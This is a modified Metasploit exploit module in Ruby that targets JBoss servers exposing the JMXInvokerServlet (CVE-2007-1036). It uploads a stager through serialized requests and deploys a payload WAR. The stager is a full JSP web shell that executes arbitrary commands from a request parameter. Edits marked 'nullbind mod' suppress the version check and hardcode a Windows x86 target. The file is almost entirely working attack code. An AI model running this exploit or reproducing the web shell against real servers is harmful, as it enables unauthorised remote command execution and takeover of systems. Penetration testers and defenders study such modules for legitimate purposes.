msf-jboss-webshell-uploader-mod.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'


class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /JBoss/ ] }

  include Msf::Exploit::Remote::HttpClient  
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Scotts JBoss module Mods',
      'Description' => %q{
          This module will upload a standard web shell to the target JBoss servers that have an
        exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
        the methods provided by jboss.admin:DeploymentFileRepository jsp webshell is deployed.
        The DeploymentFileRepository methods seem to work on Jboss 4.x and 5.x and above on 
    Windows.  This module has been modified from the original to only work on Windows.
      },
      'Author'      => [
        'Patrick Hof', # Vulnerability discovery, analysis and PoC
        'Jens Liebchen', # Vulnerability discovery, analysis and PoC
        'h0ng10' # Metasploit module
      ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2007-1036' ],
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
        ],
      'DisclosureDate' => 'Feb 20 2007',
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [

          # do target detection but java meter by default
          [ 'Automatic',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
            },
          ],

          #
          # Platform specific targets
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],

          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],

      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('JSP',       [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
          OptString.new('APPBASE',   [ false, 'Application base name, (default: random)', nil ]),
          OptString.new('TARGETURI', [ true,  'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
        ], self.class)

  end

  def check
    res = send_serialized_request('version.bin')
    if res.nil?
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    elsif res.code != 200
      vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
      return Exploit::CheckCode::Unknown
    end

    # Check if the version is supported by this exploit
    return Exploit::CheckCode::Appears #if res.body =~ /CVSTag=Branch_4_/ # nullbind mod - suppress version check 
    #return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ # nullbind mod - suppress version check 
    #return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ # nullbind mod - suppress version check 

    if res.body =~ /ServletException/ # Simple check, if we caused an exception.
      vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    mytarget = target

    if (target.name =~ /Automatic/)
      mytarget = auto_target
      fail_with("Unable to automatically select a target") if not mytarget
      print_status("Automatically selected target: \"#{mytarget.name}\"")
    else
      print_status("Using manually select target: \"#{mytarget.name}\"")
    end


    # We use a already serialized stager to deploy the final payload
    regex_stager_app_base = rand_text_alpha(14)
    regex_stager_jsp_name = rand_text_alpha(14)
    name_parameter = rand_text_alpha(8)
    content_parameter = rand_text_alpha(8)
    stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
    stager_code = "A" * 810   # 810 is the size of the stager in the serialized request

    replace_values = {
      'regex_app_base' => regex_stager_app_base,
      'regex_jsp_name' => regex_stager_jsp_name,
      stager_code => generate_stager(name_parameter, content_parameter)
    }

    print_status("Deploying stager")
    send_serialized_request('installstager.bin', replace_values)
    print_status("Calling stager: #{stager_uri}")
    call_uri_mtimes(stager_uri, 5, 'GET')

    # Generate the WAR with the payload which will be uploaded through the stager
    app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
    jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))

    war_data = payload.encoded_war({
      :app_name => app_base,
      :jsp_name => jsp_name,
      :arch => mytarget.arch,
      :platform => mytarget.platform
    }).to_s

    b64_war = Rex::Text.encode_base64(war_data)
    print_status("Uploading payload through stager")
    res = send_request_cgi({
      'uri'     => stager_uri,
      'method'  => "POST",
      'vars_post' =>
      {
        name_parameter => app_base,
        content_parameter => b64_war
      }
    }, 20)

    payload_uri = "/#{app_base}/#{jsp_name}.jsp"
    print_status("Calling payload: " + payload_uri)
    res = call_uri_mtimes(payload_uri,5, 'GET')

    # Remove the payload through  stager
    print_status("Removing payload through stager")
    delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
    res = send_request_cgi(
      {'uri'     => delete_payload_uri,
    })

    # Remove the stager
    print_status("Removing stager")
    send_serialized_request('removestagerfile.bin', replace_values)
    send_serialized_request('removestagerdirectory.bin', replace_values)

    handler
  end

  def generate_stager(name_param, content_param)
    war_file = rand_text_alpha(4+rand(4))
    file_content = rand_text_alpha(4+rand(4))
    jboss_home = rand_text_alpha(4+rand(4))
    decoded_content = rand_text_alpha(4+rand(4))
    path = rand_text_alpha(4+rand(4))
    fos = rand_text_alpha(4+rand(4))
    name = rand_text_alpha(4+rand(4))
    file = rand_text_alpha(4+rand(4))
  
  # nullbind mod - just included basic jsp webshell code
    stager_script = <<-EOT
<%@ page import="java.util.*,java.io.*"%>

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="netspicmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("netspicmd") != null) {
        out.println("Command: " + request.getParameter("netspicmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("netspicmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
EOT

  # The script must be exactly 810 characters long, otherwise we might have serialization issues
  # Therefore we fill the rest wit spaces
  spaces  = " " * (810 - stager_script.length)
  stager_script << spaces
  end


  def send_serialized_request(file_name , replace_params = {})
    path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)
    data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }

    replace_params.each { |key, value| data.gsub!(key, value) }

    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
        {
          'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
          'Accept' =>  'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
        }
    }, 25)


    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting preserialized request #{file_name}")
      return nil
    end

    res
  end


  def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 5 seconds inbetween tries
    num_attempts.times do |attempt|
      if (verb == "POST")
        res = send_request_cgi(
          {
            'uri'    => uri,
            'method' => verb,
            'data'   => data
          }, 5)
      else
        uri += "?#{data}" unless data.nil?
        res = send_request_cgi(
          {
            'uri'    => uri,
            'method' => verb
          }, 30)
      end

      msg = nil
      if (!res)
        msg = "Execution failed on #{uri} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "http request failed to #{uri} [#{res.code}]"
      elsif (res.code == 200)
        print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
        return res
      end

      if (attempt < num_attempts - 1)
        msg << ", retrying in 5 seconds..."
        print_status(msg) if datastore['VERBOSE']
        select(nil, nil, nil, 5)
      else
        print_error(msg)
        return res
      end
    end
  end


  def auto_target
    print_status("Attempting to automatically select a target")

    #plat = detect_platform() #nullbind mod - hardcode windows and platform
  plat = 'win'
    #arch = detect_architecture() #nullbind mod - hardcode arch as ARCH_x86
  arch = ARCH_X86

    return nil if (not arch or not plat)

    # see if we have a match
    targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }

    # no matching target found
    return nil
  end


  # Try to autodetect the target platform
  def detect_platform
    print_status("Attempting to automatically detect the platform")
    res = send_serialized_request("osname.bin")

    if (res.body =~ /(Linux|FreeBSD|Windows)/i)
      os = $1
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /FreeBSD/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end


  # Try to autodetect the architecture
  def detect_architecture()
    print_status("Attempting to automatically detect the architecture")
    res = send_serialized_request("osarch.bin")
    if (res.body =~ /(i386|x86)/i)
      arch = $1
      if (arch =~ /i386|x86/i)
        return ARCH_X86
        # TODO, more
      end
    end
    nil
  end
end